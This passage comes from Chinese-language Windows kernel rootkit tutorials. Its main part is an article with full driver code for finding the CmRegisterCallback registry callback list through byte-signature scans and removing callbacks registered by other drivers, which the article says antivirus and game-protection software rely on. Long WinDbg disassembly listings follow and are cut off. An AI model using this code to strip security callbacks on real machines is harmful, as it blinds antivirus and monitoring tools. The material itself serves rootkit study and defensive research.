&objectHandleFlagInfo, KernelMode); // 关闭文件句柄 ZwClose((HANDLE)hFileHandle); // 结束进程附加 KeUnstackDetachProcess(&apcState); return TRUE;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win8.1 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    在 Win7 64 位系统下,驱动程序正常执行:

    在 Win8.1 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结对于这个程序的实现,关键是要获取系统上所有的句柄,并对句柄进行判断,判断哪些句柄是指定文件的句柄。在获取文件句柄信息之后,我们就可以通过进程附加,结束文件句柄即可。
    所以,大家要着重理解句柄遍历的实现过程。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2019-04-04 16:33:40 奖励10点积分
  • 枚举并删除系统上CmRegisterCallback回调

    背景我们学习内核 Rootkit 编程,那么肯定会接触到各种无 HOOK 回调函数的设置,这些回调函数都是官方为我们做好的接口,我们直接调用就好。这些回调使用方便,运行在底层,功能强大,而且非常稳定。很多杀软、游戏保护等就是设置这些回调,实现对计算机的监控的。
    既然可以设置回调,自然也可以删除回调。如果是自己程序设置的回调,当然可以很容易删除。但是,我们要做的是要枚举系统上存在的回调,不管是不是自己程序创建的,然后,并对这些回调进行删除,使其失效。
    本文要介绍的是枚举并删除系统上 CmRegisterCallback 回调,支持 32 位和 64 位、Win7 到 Win10 全平台系统。现在,我把实现的过程和原理整理成文档,分享给大家。
    实现原理我们注册的注册表回调,会存储在一个表头为 CallbackListHead 的双向链表里,它存储着系统里所有 CmRegisterCallback 注册表回调函数地址和 Cookie 的信息。
    经过使用 WinDbg 逆向,总结得出 CallbackListHead 双向链表指向的数据结构为:
    typedef struct _CM_NOTIFY_ENTRY { LIST_ENTRY ListEntryHead; ULONG UnKnown1; ULONG UnKnown2; LARGE_INTEGER Cookie; PVOID Context; PVOID Function; }CM_NOTIFY_ENTRY, *PCM_NOTIFY_ENTRY;
    其中,ListEntryHead 中存储着下一个或者上一个 CM_NOTIFY_ENTRY 结构体指针的信息,我们通过遍历这个双向链表,就可以枚举出 CmRegisterCallback 注册表回调函数地址和 Cookie 的信息。
    CallbackListHead 表头地址的获取CallbackListHead 表头,可以从内核导出函数 CmUnRegisterCallback 中获取。 我们借助 WinDbg 帮助我们逆向 CmUnRegisterCallback 内核函数,下面是 Win10 64 位系统上 CmUnRegisterCallback 函数的逆向代码:
    nt!CmUnRegisterCallback+0x44:fffff800`24b17dc8 4533c0 xor r8d,r8dfffff800`24b17dcb 488d542438 lea rdx,[rsp+38h]fffff800`24b17dd0 488d0d39f5dbff lea rcx,[nt!CallbackListHead (fffff800`248d7310)]
    由上面的代码,我们可以通过在内核函数 CmUnRegisterCallback 中扫描内存特征码,在 32 位系统下,可以直接定位得到 CallbackListHead 表头的地址;在 64 位下,可以获取 CallbackListHead 表头的偏移,从而根据偏移计算出地址。但是,特征码在不同系统上也会不同,下面是我使用 WinDbg 逆向各个版本系统上的函数,总结的特征码:




    Win7
    win8.1
    win10




    32 位
    BF
    BE
    B9


    64 位
    488D54
    488D0D
    488D0D



    上述中,Win7 64 位的逆向信息如下:
    nt!CmUnRegisterCallback+0xc6:fffff800`042b7856 4533c0 xor r8d,r8dfffff800`042b7859 488d542420 lea rdx,[rsp+20h]fffff800`042b785e 488d0d6b69dcff lea rcx,[nt!CallbackListHead (fffff800`0407e1d0)]
    特征码我们选用的是 488D54,因为特征码 488D0D 在出现 CallbackListHead 内存之前就多次出现,为了特征码唯一,所以,选取 488D54 特征码来定位。
    总的来说,我们直接通过扫描 CmUnRegisterCallback 函数内存,就可获取 CallbackListHead 表头地址了。其中,特征码的确定就变得至关重要。
    删除回调我们可以通过上述介绍的方法,枚举系统中的回调函数。那么,要删除回调函数可以有 3 种方式:

    可以直接调用 CmUnRegisterCallback 函数,传入回调 Cookie,即可删除回调
    修改 CallbackListHead 双向链表中的数据,使其指向我们自己定义的空回调函数地址。这样,当触发回调函数的时候,执行的是我们自己的空回调函数
    修改回调函数的前几字节内存数据,写入直接返回指令 RET,不进行任何操作

    编码实现遍历回调// 遍历回调BOOLEAN EnumCallback(){ ULONG i = 0; PVOID pCallbackListHeadAddress = NULL; PCM_NOTIFY_ENTRY pNotifyEntry = NULL; // 获取 CallbackListHead 链表地址 pCallbackListHeadAddress = GetCallbackListHead(); if (NULL == pCallbackListHeadAddress) { DbgPrint("GetCallbackListHead Error!\n"); return FALSE; } DbgPrint("pCallbackListHeadAddress=0x%p\n", pCallbackListHeadAddress); // 开始遍历双向链表 pNotifyEntry = (PCM_NOTIFY_ENTRY)pCallbackListHeadAddress; do { // 判断 pNotifyEntry 地址是否有效 if (FALSE == MmIsAddressValid(pNotifyEntry)) { break; } // 判断 回调函数 地址是否有效 if (MmIsAddressValid(pNotifyEntry->Function)) { // 显示 DbgPrint("CallbackFunction=0x%p, Cookie=0x%I64X\n", pNotifyEntry->Function, pNotifyEntry->Cookie.QuadPart); } // 获取下一链表 pNotifyEntry = (PCM_NOTIFY_ENTRY)pNotifyEntry->ListEntryHead.Flink; } while (pCallbackListHeadAddress != (PVOID)pNotifyEntry); return TRUE;}
    移除回调// 移除回调NTSTATUS RemoveCallback(LARGE_INTEGER Cookie){ NTSTATUS status = CmUnRegisterCallback(Cookie); if (!NT_SUCCESS(status)) { ShowError("CmUnRegisterCallback", status); } return status;}
    获取 CallbackListHead 链表地址// 获取 CallbackListHead 链表地址PVOID GetCallbackListHead(){ PVOID pCallbackListHeadAddress = NULL; RTL_OSVERSIONINFOW osInfo = { 0 }; UCHAR pSpecialData[50] = { 0 }; ULONG ulSpecialDataSize = 0; LONG lSpecialOffset = 0; // 获取系统版本信息, 判断系统版本 RtlGetVersion(&osInfo); if (6 == osInfo.dwMajorVersion) { if (1 == osInfo.dwMinorVersion) { // Win7#ifdef _WIN64 // 64 位 // 488D54 pSpecialData[0] = 0x48; pSpecialData[1] = 0x8D; pSpecialData[2] = 0x54; ulSpecialDataSize = 3; lSpecialOffset = 5;#else // 32 位 // BF pSpecialData[0] = 0xBF; ulSpecialDataSize = 1;#endif } else if (2 == osInfo.dwMinorVersion) { // Win8#ifdef _WIN64 // 64 位#else // 32 位#endif } else if (3 == osInfo.dwMinorVersion) { // Win8.1#ifdef _WIN64 // 64 位 // 488D0D pSpecialData[0] = 0x48; pSpecialData[1] = 0x8D; pSpecialData[2] = 0x0D; ulSpecialDataSize = 3;#else // 32 位 // BE pSpecialData[0] = 0xBE; ulSpecialDataSize = 1;#endif } } else if (10 == osInfo.dwMajorVersion) { // Win10#ifdef _WIN64 // 64 位 // 488D0D pSpecialData[0] = 0x48; pSpecialData[1] = 0x8D; pSpecialData[2] = 0x0D; ulSpecialDataSize = 3;#else // 32 位 // B9 pSpecialData[0] = 0xB9; ulSpecialDataSize = 1;#endif } // 根据特征码获取地址 pCallbackListHeadAddress = SearchCallbackListHead(pSpecialData, ulSpecialDataSize, lSpecialOffset); return pCallbackListHeadAddress;}
    根据特征码获取 CallbackListHead 链表地址// 根据特征码获取 CallbackListHead 链表地址PVOID SearchCallbackListHead(PUCHAR pSpecialData, ULONG ulSpecialDataSize, LONG lSpecialOffset){ UNICODE_STRING ustrFuncName; PVOID pAddress = NULL; LONG lOffset = 0; PVOID pCmUnRegisterCallback = NULL; PVOID pCallbackListHead = NULL; // 先获取 CmUnRegisterCallback 函数地址 RtlInitUnicodeString(&ustrFuncName, L"CmUnRegisterCallback"); pCmUnRegisterCallback = MmGetSystemRoutineAddress(&ustrFuncName); if (NULL == pCmUnRegisterCallback) { ShowError("MmGetSystemRoutineAddress", 0); return pCallbackListHead; } // 然后, 查找 PspSetCreateProcessNotifyRoutine 函数地址 pAddress = SearchMemory(pCmUnRegisterCallback, (PVOID)((PUCHAR)pCmUnRegisterCallback + 0xFF), pSpecialData, ulSpecialDataSize); if (NULL == pAddress) { ShowError("SearchMemory", 0); return pCallbackListHead; } // 获取地址#ifdef _WIN64 // 64 位先获取偏移, 再计算地址 lOffset = *(PLONG)((PUCHAR)pAddress + lSpecialOffset); pCallbackListHead = (PVOID)((PUCHAR)pAddress + lSpecialOffset + sizeof(LONG) + lOffset);#else // 32 位直接获取地址 pCallbackListHead = *(PVOID *)((PUCHAR)pAddress + lSpecialOffset);#endif return pCallbackListHead;}
    指定内存区域的特征码扫描// 指定内存区域的特征码扫描PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize){ PVOID pAddress = NULL; PUCHAR i = NULL; ULONG m = 0; // 扫描内存 for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) { // 判断特征码 for (m = 0; m < ulMemoryDataSize; m++) { if (*(PUCHAR)(i + m) != pMemoryData[m]) { break; } } // 判断是否找到符合特征码的地址 if (m >= ulMemoryDataSize) { // 找到特征码位置, 获取紧接着特征码的下一地址 pAddress = (PVOID)(i + ulMemoryDataSize); break; } } return pAddress;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win8.1 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    在 Win7 64 位系统下,驱动程序正常执行:

    在 Win8.1 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结要理解清楚获取 CallbackListHead 表头地址的流程,其中,不同系统的内存特征码是不同的,要注意区分。大家也不用记忆这些特征码,如果需要用到,可以随时使用 WinDbg 来进行逆向查看就好。
    删除回调常用就有 3 种方式,自己根据需要选择一种使用即可。
    参考参考自《Windows黑客编程技术详解》一书
    附录Win7 32 位 CmUnRegisterCallbacklkd> uf CmUnRegisterCallbacknt!CmUnRegisterCallback:840b0791 6a38 push 38h840b0793 683082e683 push offset nt! ?? ::FNODOBFM::`string'+0x57a0 (83e68230)840b0798 e8ebe5ddff call nt!_SEH_prolog4 (83e8ed88)840b079d c745d80d0000c0 mov dword ptr [ebp-28h],0C000000Dh840b07a4 33f6 xor esi,esi840b07a6 8975b8 mov dword ptr [ebp-48h],esi840b07a9 33c0 xor eax,eax840b07ab 8d7dbc lea edi,[ebp-44h]840b07ae ab stos dword ptr es:[edi]840b07af ab stos dword ptr es:[edi]840b07b0 c645e201 mov byte ptr [ebp-1Eh],1840b07b4 b101 mov cl,1840b07b6 ff155c01e183 call dword ptr [nt!_imp_KfRaiseIrql (83e1015c)]840b07bc 8ad8 mov bl,al840b07be b80098f783 mov eax,offset nt!CallbackUnregisterLock (83f79800)840b07c3 8bc8 mov ecx,eax840b07c5 f00fba3100 lock btr dword ptr [ecx],0840b07ca 7209 jb nt!CmUnRegisterCallback+0x44 (840b07d5)nt!CmUnRegisterCallback+0x3b:840b07cc 8bf0 mov esi,eax840b07ce e850f0d8ff call nt!KiAcquireFastMutex (83e3f823)840b07d3 33f6 xor esi,esint!CmUnRegisterCallback+0x44:840b07d5 64a124010000 mov eax,dword ptr fs:[00000124h]840b07db a30498f783 mov dword ptr [nt!CallbackUnregisterLock+0x4 (83f79804)],eax840b07e0 0fb6c3 movzx eax,bl840b07e3 a31c98f783 mov dword ptr [nt!CallbackUnregisterLock+0x1c (83f7981c)],eax840b07e8 c745c49cffffff mov dword ptr [ebp-3Ch],0FFFFFF9Ch840b07ef 834dc8ff or dword ptr [ebp-38h],0FFFFFFFFh840b07f3 8975d4 mov dword ptr [ebp-2Ch],esi840b07f6 64a124010000 mov eax,dword ptr fs:[00000124h]840b07fc 66ff8884000000 dec word ptr [eax+84h]840b0803 bbfc97f783 mov ebx,offset nt!CallbackListLock (83f797fc)840b0808 8bc3 mov eax,ebx840b080a f00fba2800 lock bts dword ptr [eax],0840b080f 7307 jae nt!CmUnRegisterCallback+0x87 (840b0818)nt!CmUnRegisterCallback+0x80:840b0811 8bcb mov ecx,ebx840b0813 e8b612dfff call nt!ExfAcquirePushLockExclusive (83ea1ace)nt!CmUnRegisterCallback+0x87:840b0818 c645e301 mov byte ptr [ebp-1Dh],1840b081c 56 push esi840b081d 8d4dd4 lea ecx,[ebp-2Ch]840b0820 bff097f783 mov edi,offset nt!CallbackListHead (83f797f0)840b0825 8bc7 mov eax,edi840b0827 e8221cf3ff call nt!CmListGetNextElement (83fe244e)840b082c 8bd0 mov edx,eax840b082e 8955dc mov dword ptr [ebp-24h],edx840b0831 3bd6 cmp edx,esi840b0833 750a jne nt!CmUnRegisterCallback+0xad (840b083f)nt!CmUnRegisterCallback+0xa4:840b0835 e9c1000000 jmp nt!CmUnRegisterCallback+0x163 (840b08fb)nt!CmUnRegisterCallback+0xaa:840b083c 8b55dc mov edx,dword ptr [ebp-24h]nt!CmUnRegisterCallback+0xad:840b083f 8b4210 mov eax,dword ptr [edx+10h]840b0842 3b4508 cmp eax,dword ptr [ebp+8]840b0845 7508 jne nt!CmUnRegisterCallback+0xbd (840b084f)nt!CmUnRegisterCallback+0xb5:840b0847 8b4214 mov eax,dword ptr [edx+14h]840b084a 3b450c cmp eax,dword ptr [ebp+0Ch]840b084d 741d je nt!CmUnRegisterCallback+0xd4 (840b086c)nt!CmUnRegisterCallback+0xbd:840b084f 56 push esi840b0850 8d4dd4 lea ecx,[ebp-2Ch]840b0853 8bc7 mov eax,edi840b0855 e8f41bf3ff call nt!CmListGetNextElement (83fe244e)840b085a 8945dc mov dword ptr [ebp-24h],eax840b085d 3bc6 cmp eax,esi840b085f 0f8496000000 je nt!CmUnRegisterCallback+0x163 (840b08fb)nt!CmUnRegisterCallback+0xd3:840b0865 ebd5 jmp nt!CmUnRegisterCallback+0xaa (840b083c)nt!CmUnRegisterCallback+0xd4:840b086c 8b02 mov eax,dword ptr [edx]840b086e 8b4a04 mov ecx,dword ptr [edx+4]840b0871 8901 mov dword ptr [ecx],eax840b0873 894804 mov dword ptr [eax+4],ecx840b0876 8b4208 mov eax,dword ptr [edx+8]840b0879 eb79 jmp nt!CmUnRegisterCallback+0x15c (840b08f4)nt!CmUnRegisterCallback+0xe3:840b087b 807de300 cmp byte ptr [ebp-1Dh],0840b087f 7462 je nt!CmUnRegisterCallback+0x14b (840b08e3)nt!CmUnRegisterCallback+0xe9:840b0881 8b0dfc97f783 mov ecx,dword ptr [nt!CallbackListLock (83f797fc)]840b0887 8bc1 mov eax,ecx840b0889 83e0f0 and eax,0FFFFFFF0h840b088c 83f810 cmp eax,10h840b088f 7605 jbe nt!CmUnRegisterCallback+0xfe (840b0896)nt!CmUnRegisterCallback+0xf9:840b0891 8d41f0 lea eax,[ecx-10h]840b0894 eb02 jmp nt!CmUnRegisterCallback+0x100 (840b0898)nt!CmUnRegisterCallback+0xfe:840b0896 33c0 xor eax,eaxnt!CmUnRegisterCallback+0x100:840b0898 f6c102 test cl,2840b089b 750e jne nt!CmUnRegisterCallback+0x113 (840b08ab)nt!CmUnRegisterCallback+0x105:840b089d 8bd0 mov edx,eax840b089f 8bfb mov edi,ebx840b08a1 8bc1 mov eax,ecx840b08a3 f00fb117 lock cmpxchg dword ptr [edi],edx840b08a7 3bc1 cmp eax,ecx840b08a9 7407 je nt!CmUnRegisterCallback+0x11a (840b08b2)nt!CmUnRegisterCallback+0x113:840b08ab 8bcb mov ecx,ebx840b08ad e8de2fe1ff call nt!ExfReleasePushLock (83ec3890)nt!CmUnRegisterCallback+0x11a:840b08b2 648b0d24010000 mov ecx,dword ptr fs:[124h]840b08b9 8d8184000000 lea eax,[ecx+84h]840b08bf 66ff00 inc word ptr [eax]840b08c2 0fb700 movzx eax,word ptr [eax]840b08c5 663bc6 cmp ax,si840b08c8 7515 jne nt!CmUnRegisterCallback+0x147 (840b08df)nt!CmUnRegisterCallback+0x132:840b08ca 8d4140 lea eax,[ecx+40h]840b08cd 3900 cmp dword ptr [eax],eax840b08cf 740e je nt!CmUnRegisterCallback+0x147 (840b08df)nt!CmUnRegisterCallback+0x139:840b08d1 6639b186000000 cmp word ptr [ecx+86h],si840b08d8 7505 jne nt!CmUnRegisterCallback+0x147 (840b08df)nt!CmUnRegisterCallback+0x142:840b08da e8a663d8ff call nt!KiCheckForKernelApcDelivery (83e36c85)nt!CmUnRegisterCallback+0x147:840b08df c645e300 mov byte ptr [ebp-1Dh],0nt!CmUnRegisterCallback+0x14b:840b08e3 8d45c4 lea eax,[ebp-3Ch]840b08e6 50 push eax840b08e7 56 push esi840b08e8 56 push esi840b08e9 e831b8ddff call nt!KeDelayExecutionThread (83e8c11f)840b08ee 8b45dc mov eax,dword ptr [ebp-24h]840b08f1 8b4008 mov eax,dword ptr [eax+8]nt!CmUnRegisterCallback+0x15c:840b08f4 85c0 test eax,eax840b08f6 7583 jne nt!CmUnRegisterCallback+0xe3 (840b087b)nt!CmUnRegisterCallback+0x160:840b08f8 8975d8 mov dword ptr [ebp-28h],esint!CmUnRegisterCallback+0x163:840b08fb 89350498f783 mov dword ptr [nt!CallbackUnregisterLock+0x4 (83f79804)],esi840b0901 8a1d1c98f783 mov bl,byte ptr [nt!CallbackUnregisterLock+0x1c (83f7981c)]840b0907 33c9 xor ecx,ecx840b0909 41 inc ecx840b090a ba0098f783 mov edx,offset nt!CallbackUnregisterLock (83f79800)840b090f 8bc2 mov eax,edx840b0911 f00fc108 lock xadd dword ptr [eax],ecx840b0915 85c9 test ecx,ecx840b0917 7423 je nt!CmUnRegisterCallback+0x1a4 (840b093c)nt!CmUnRegisterCallback+0x181:840b0919 f6c102 test cl,2840b091c 751e jne nt!CmUnRegisterCallback+0x1a4 (840b093c)nt!CmUnRegisterCallback+0x186:840b091e 41 inc ecx840b091f 8d41fe lea eax,[ecx-2]840b0922 8bf0 mov esi,eax840b0924 8bc1 mov eax,ecx840b0926 f00fb132 lock cmpxchg dword ptr [edx],esi840b092a 3bc1 cmp eax,ecx840b092c 750e jne nt!CmUnRegisterCallback+0x1a4 (840b093c)nt!CmUnRegisterCallback+0x196:840b092e 6a00 push 0840b0930 6a01 push 1840b0932 680c98f783 push offset nt!CallbackUnregisterLock+0xc (83f7980c)840b0937 e8d959ddff call nt!KeSetEvent (83e86315)nt!CmUnRegisterCallback+0x1a4:840b093c 8acb mov cl,bl840b093e ff155801e183 call dword ptr [nt!_imp_KfLowerIrql (83e10158)]840b0944 807de301 cmp byte ptr [ebp-1Dh],1840b0948 7565 jne nt!CmUnRegisterCallback+0x217 (840b09af)nt!CmUnRegisterCallback+0x1b2:840b094a 8b0dfc97f783 mov ecx,dword ptr [nt!CallbackListLock (83f797fc)]840b0950 8bc1 mov eax,ecx840b0952 83e0f0 and eax,0FFFFFFF0h840b0955 83f810 cmp eax,10h840b0958 7605 jbe nt!CmUnRegisterCallback+0x1c7 (840b095f)nt!CmUnRegisterCallback+0x1c2:840b095a 8d41f0 lea eax,[ecx-10h]840b095d eb02 jmp nt!CmUnRegisterCallback+0x1c9 (840b0961)nt!CmUnRegisterCallback+0x1c7:840b095f 33c0 xor eax,eaxnt!CmUnRegisterCallback+0x1c9:840b0961 f6c102 test cl,2840b0964 7511 jne nt!CmUnRegisterCallback+0x1df (840b0977)nt!CmUnRegisterCallback+0x1ce:840b0966 8bd0 mov edx,eax840b0968 befc97f783 mov esi,offset nt!CallbackListLock (83f797fc)840b096d 8bc1 mov eax,ecx840b096f f00fb116 lock cmpxchg dword ptr [esi],edx840b0973 3bc1 cmp eax,ecx840b0975 740a je nt!CmUnRegisterCallback+0x1e9 (840b0981)nt!CmUnRegisterCallback+0x1df:840b0977 b9fc97f783 mov ecx,offset nt!CallbackListLock (83f797fc)840b097c e80f2fe1ff call nt!ExfReleasePushLock (83ec3890)nt!CmUnRegisterCallback+0x1e9:840b0981 648b0d24010000 mov ecx,dword ptr fs:[124h]840b0988 8d8184000000 lea eax,[ecx+84h]840b098e 66ff00 inc word ptr [eax]840b0991 0fb700 movzx eax,word ptr [eax]840b0994 6685c0 test ax,ax840b0997 7516 jne nt!CmUnRegisterCallback+0x217 (840b09af)nt!CmUnRegisterCallback+0x201:840b0999 8d4140 lea eax,[ecx+40h]840b099c 3900 cmp dword ptr [eax],eax840b099e 740f je nt!CmUnRegisterCallback+0x217 (840b09af)nt!CmUnRegisterCallback+0x208:840b09a0 6683b98600000000 cmp word ptr [ecx+86h],0840b09a8 7505 jne nt!CmUnRegisterCallback+0x217 (840b09af)nt!CmUnRegisterCallback+0x212:840b09aa e8d662d8ff call nt!KiCheckForKernelApcDelivery (83e36c85)nt!CmUnRegisterCallback+0x217:840b09af 8b45d8 mov eax,dword ptr [ebp-28h]840b09b2 85c0 test eax,eax840b09b4 0f8c8a010000 jl nt!CmUnRegisterCallback+0x3ac (840b0b44)nt!CmUnRegisterCallback+0x222:840b09ba 8d45cc lea eax,[ebp-34h]840b09bd 8945d0 mov dword ptr [ebp-30h],eax840b09c0 8945cc mov dword ptr [ebp-34h],eax840b09c3 64a124010000 mov eax,dword ptr fs:[00000124h]840b09c9 66ff8884000000 dec word ptr [eax+84h]840b09d0 bbf897f783 mov ebx,offset nt!ContextListLock (83f797f8)840b09d5 8bc3 mov eax,ebx840b09d7 f00fba2800 lock bts dword ptr [eax],0840b09dc 7307 jae nt!CmUnRegisterCallback+0x24d (840b09e5)nt!CmUnRegisterCallback+0x246:840b09de 8bcb mov ecx,ebx840b09e0 e8e910dfff call nt!ExfAcquirePushLockExclusive (83ea1ace)nt!CmUnRegisterCallback+0x24d:840b09e5 8b7ddc mov edi,dword ptr [ebp-24h]840b09e8 83c728 add edi,28h840b09eb 8b37 mov esi,dword ptr [edi]840b09ed 3bf7 cmp esi,edi840b09ef 7444 je nt!CmUnRegisterCallback+0x29d (840b0a35)nt!CmUnRegisterCallback+0x259:840b09f1 8b1e mov ebx,dword ptr [esi]840b09f3 8b5614 mov edx,dword ptr [esi+14h]840b09f6 e83839dfff call nt!ObReferenceObjectSafe (83ea4333)840b09fb 84c0 test al,al840b09fd 7427 je nt!CmUnRegisterCallback+0x28e (840b0a26)nt!CmUnRegisterCallback+0x267:840b09ff 8b06 mov eax,dword ptr [esi]840b0a01 8b4e04 mov ecx,dword ptr [esi+4]840b0a04 8901 mov dword ptr [ecx],eax840b0a06 894804 mov dword ptr [eax+4],ecx840b0a09 8b46f8 mov eax,dword ptr [esi-8]840b0a0c 8b4efc mov ecx,dword ptr [esi-4]840b0a0f 8901 mov dword ptr [ecx],eax840b0a11 894804 mov dword ptr [eax+4],ecx840b0a14 8b45d0 mov eax,dword ptr [ebp-30h]840b0a17 8d4dcc lea ecx,[ebp-34h]840b0a1a 890e mov dword ptr [esi],ecx840b0a1c 894604 mov dword ptr [esi+4],eax840b0a1f 8930 mov dword ptr [eax],esi840b0a21 8975d0 mov dword ptr [ebp-30h],esi840b0a24 eb04 jmp nt!CmUnRegisterCallback+0x292 (840b0a2a)nt!CmUnRegisterCallback+0x28e:840b0a26 c645e200 mov byte ptr [ebp-1Eh],0nt!CmUnRegisterCallback+0x292:840b0a2a 8bf3 mov esi,ebx840b0a2c 3bdf cmp ebx,edi840b0a2e 75c1 jne nt!CmUnRegisterCallback+0x259 (840b09f1)nt!CmUnRegisterCallback+0x298:840b0a30 bbf897f783 mov ebx,offset nt!ContextListLock (83f797f8)nt!CmUnRegisterCallback+0x29d:840b0a35 8b0df897f783 mov ecx,dword ptr [nt!ContextListLock (83f797f8)]840b0a3b 8bc1 mov eax,ecx840b0a3d 83e0f0 and eax,0FFFFFFF0h840b0a40 83f810 cmp eax,10h840b0a43 7605 jbe nt!CmUnRegisterCallback+0x2b2 (840b0a4a)nt!CmUnRegisterCallback+0x2ad:840b0a45 8d41f0 lea eax,[ecx-10h]840b0a48 eb02 jmp nt!CmUnRegisterCallback+0x2b4 (840b0a4c)nt!CmUnRegisterCallback+0x2b2:840b0a4a 33c0 xor eax,eaxnt!CmUnRegisterCallback+0x2b4:840b0a4c f6c102 test cl,2840b0a4f 750e jne nt!CmUnRegisterCallback+0x2c7 (840b0a5f)nt!CmUnRegisterCallback+0x2b9:840b0a51 8bd0 mov edx,eax840b0a53 8bf3 mov esi,ebx840b0a55 8bc1 mov eax,ecx840b0a57 f00fb116 lock cmpxchg dword ptr [esi],edx840b0a5b 3bc1 cmp eax,ecx840b0a5d 7407 je nt!CmUnRegisterCallback+0x2ce (840b0a66)nt!CmUnRegisterCallback+0x2c7:840b0a5f 8bcb mov ecx,ebx840b0a61 e82a2ee1ff call nt!ExfReleasePushLock (83ec3890)nt!CmUnRegisterCallback+0x2ce:840b0a66 648b0d24010000 mov ecx,dword ptr fs:[124h]840b0a6d 8d8184000000 lea eax,[ecx+84h]840b0a73 66ff00 inc word ptr [eax]840b0a76 0fb700 movzx eax,word ptr [eax]840b0a79 6685c0 test ax,ax840b0a7c 7516 jne nt!CmUnRegisterCallback+0x2fc (840b0a94)nt!CmUnRegisterCallback+0x2e6:840b0a7e 8d4140 lea eax,[ecx+40h]840b0a81 3900 cmp dword ptr [eax],eax840b0a83 740f je nt!CmUnRegisterCallback+0x2fc (840b0a94)nt!CmUnRegisterCallback+0x2ed:840b0a85 6683b98600000000 cmp word ptr [ecx+86h],0840b0a8d 7505 jne nt!CmUnRegisterCallback+0x2fc (840b0a94)nt!CmUnRegisterCallback+0x2f7:840b0a8f e8f161d8ff call nt!KiCheckForKernelApcDelivery (83e36c85)nt!CmUnRegisterCallback+0x2fc:840b0a94 8d4dcc lea ecx,[ebp-34h]840b0a97 8b45cc mov eax,dword ptr [ebp-34h]840b0a9a 3bc1 cmp eax,ecx840b0a9c 7461 je nt!CmUnRegisterCallback+0x367 (840b0aff)nt!CmUnRegisterCallback+0x306:840b0a9e 8bc8 mov ecx,eax840b0aa0 8b00 mov eax,dword ptr [eax]840b0aa2 8945cc mov dword ptr [ebp-34h],eax840b0aa5 8d55cc lea edx,[ebp-34h]840b0aa8 895004 mov dword ptr [eax+4],edx840b0aab 8d71f8 lea esi,[ecx-8]840b0aae 8975d4 mov dword ptr [ebp-2Ch],esi840b0ab1 8b461c mov eax,dword ptr [esi+1Ch]840b0ab4 8945b8 mov dword ptr [ebp-48h],eax840b0ab7 8b4620 mov eax,dword ptr [esi+20h]840b0aba 8945bc mov dword ptr [ebp-44h],eax840b0abd 8365fc00 and dword ptr [ebp-4],0840b0ac1 8d45b8 lea eax,[ebp-48h]840b0ac4 50 push eax840b0ac5 6a28 push 28h840b0ac7 8b45dc mov eax,dword ptr [ebp-24h]840b0aca ff7018 push dword ptr [eax+18h]840b0acd ff501c call dword ptr [eax+1Ch]840b0ad0 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh840b0ad7 eb11 jmp nt!CmUnRegisterCallback+0x352 (840b0aea)nt!CmUnRegisterCallback+0x352:840b0aea 8b4e1c mov ecx,dword ptr [esi+1Ch]840b0aed e8d171ddff call nt!ObfDereferenceObject (83e87cc3)840b0af2 68434d6363 push 63634D43h840b0af7 56 push esi840b0af8 e8bd0fe8ff call nt!ExFreePoolWithTag (83f31aba)840b0afd eb95 jmp nt!CmUnRegisterCallback+0x2fc (840b0a94)nt!CmUnRegisterCallback+0x367:840b0aff 8b7ddc mov edi,dword ptr [ebp-24h]840b0b02 807de200 cmp byte ptr [ebp-1Eh],0840b0b06 7516 jne nt!CmUnRegisterCallback+0x386 (840b0b1e)nt!CmUnRegisterCallback+0x370:840b0b08 8d7728 lea esi,[edi+28h]840b0b0b eb0d jmp nt!CmUnRegisterCallback+0x382 (840b0b1a)nt!CmUnRegisterCallback+0x375:840b0b0d 8d45c4 lea eax,[ebp-3Ch]840b0b10 50 push eax840b0b11 6a00 push 0840b0b13 6a00 push 0840b0b15 e805b6ddff call nt!KeDelayExecutionThread (83e8c11f)nt!CmUnRegisterCallback+0x382:840b0b1a 3936 cmp dword ptr [esi],esi840b0b1c 75ef jne nt!CmUnRegisterCallback+0x375 (840b0b0d)nt!CmUnRegisterCallback+0x386:840b0b1e b8b08bf483 mov eax,offset nt!CmpCallBackCount (83f48bb0)840b0b23 83c9ff or ecx,0FFFFFFFFh840b0b26 f00fc108 lock xadd dword ptr [eax],ecx840b0b2a 8b4724 mov eax,dword ptr [edi+24h]840b0b2d 85c0 test eax,eax840b0b2f 7408 je nt!CmUnRegisterCallback+0x3a1 (840b0b39)nt!CmUnRegisterCallback+0x399:840b0b31 6a00 push 0840b0b33 50 push eax840b0b34 e8810fe8ff call nt!ExFreePoolWithTag (83f31aba)nt!CmUnRegisterCallback+0x3a1:840b0b39 6a00 push 0840b0b3b 57 push edi840b0b3c e8790fe8ff call nt!ExFreePoolWithTag (83f31aba)840b0b41 8b45d8 mov eax,dword ptr [ebp-28h]nt!CmUnRegisterCallback+0x3ac:840b0b44 e884e2ddff call nt!_SEH_epilog4 (83e8edcd)840b0b49 c20800 ret 8
    Win7 64 位 CmUnRegisterCallbacklkd> uf CmUnRegisterCallbacknt!CmUnRegisterCallback:fffff800`042b7790 48894c2408 mov qword ptr [rsp+8],rcxfffff800`042b7795 53 push rbxfffff800`042b7796 56 push rsifffff800`042b7797 57 push rdifffff800`042b7798 4154 push r12fffff800`042b779a 4155 push r13fffff800`042b779c 4156 push r14fffff800`042b779e 4157 push r15fffff800`042b77a0 4883ec60 sub rsp,60hfffff800`042b77a4 41bc0d0000c0 mov r12d,0C000000Dhfffff800`042b77aa 4489a424b0000000 mov dword ptr [rsp+0B0h],r12dfffff800`042b77b2 33db xor ebx,ebxfffff800`042b77b4 48895c2448 mov qword ptr [rsp+48h],rbxfffff800`042b77b9 33c0 xor eax,eaxfffff800`042b77bb 4889442450 mov qword ptr [rsp+50h],raxfffff800`042b77c0 4889442458 mov qword ptr [rsp+58h],raxfffff800`042b77c5 448d6b01 lea r13d,[rbx+1]fffff800`042b77c9 458afd mov r15b,r13bfffff800`042b77cc 4488ac24a8000000 mov byte ptr [rsp+0A8h],r13bfffff800`042b77d4 440f20c7 mov 